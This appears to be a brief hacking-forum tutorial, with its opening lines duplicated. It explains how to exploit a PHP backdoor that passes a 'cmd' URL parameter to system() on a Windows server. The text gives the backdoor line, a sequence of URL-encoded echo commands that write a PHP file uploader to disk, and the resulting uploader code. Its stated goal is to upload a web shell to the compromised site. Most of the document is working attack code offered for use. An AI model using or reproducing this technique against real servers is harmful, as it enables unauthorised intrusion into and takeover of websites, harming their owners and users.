Just a tutorial that was made in 2 minutes.
Sometimes people have backdoored PhP files with
This tutorial is for people that can't upload a shell through wget/curl (Windows Server for example)
--
Open up the file...ex:
Now write these lines after the "cmd=" and press enter.
Take line one, paste it after cmd=, press enter.
Then take line two, paste it..
till ure done.
After you insert that, the test.php file looks like this:
then just visit "test.php" and upload ur shell.
Sometimes people have backdoored PhP files with
PHP Code
<?php system($_GET['cmd']); ?>This tutorial is for people that can't upload a shell through wget/curl (Windows Server for example)
--
Open up the file...ex:
PHP Code
<?php
http://site.com/index.php?cmd=
Now write these lines after the "cmd=" and press enter.
Take line one, paste it after cmd=, press enter.
Then take line two, paste it..
till ure done.
PHP Code
<?php
echo%20^<?php%20>>test.php
echo%20echo%20'^<b^>^<br^>^<br^>'.php_uname().'^<br^>^</b^>';>>test.php
echo%20echo%20'^<form action^="" method^="post" enctype^="multipart/form-data" name^="uploader" id^="uploader"^>';>>test.php
echo%20echo%20'^<input%20type^="file"%20name^="file"%20size^="50"^>>>test.php
echo%20^<input%20name^="_upl"%20type^="submit"%20id^="_upl"%20value^="Upload"^>^<^/form^>';>>test.php
echo%20if(%20$_POST['_upl']%20^=^=%20"Upload"%20)%20{>>test.php
echo%20if(@copy($_FILES['file']['tmp_name'],%20$_FILES['file']['name']))%20{%20echo%20'^<b^>Upload%20SUKSES%20!!!^</b^>>>test.php
echo ^<br^>^<br^>'; }>>test.php
echo%20else%20{%20echo%20'^<b^>Upload%20GAGAL%20!!!^</b^>^<br^>^<br^>';%20}>>test.php
echo%20}%20>>test.php
echo%20?^>>>test.php
After you insert that, the test.php file looks like this:
PHP Code
<?php
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50">
<input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b>
<br><br>'; }
else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>then just visit "test.php" and upload ur shell.



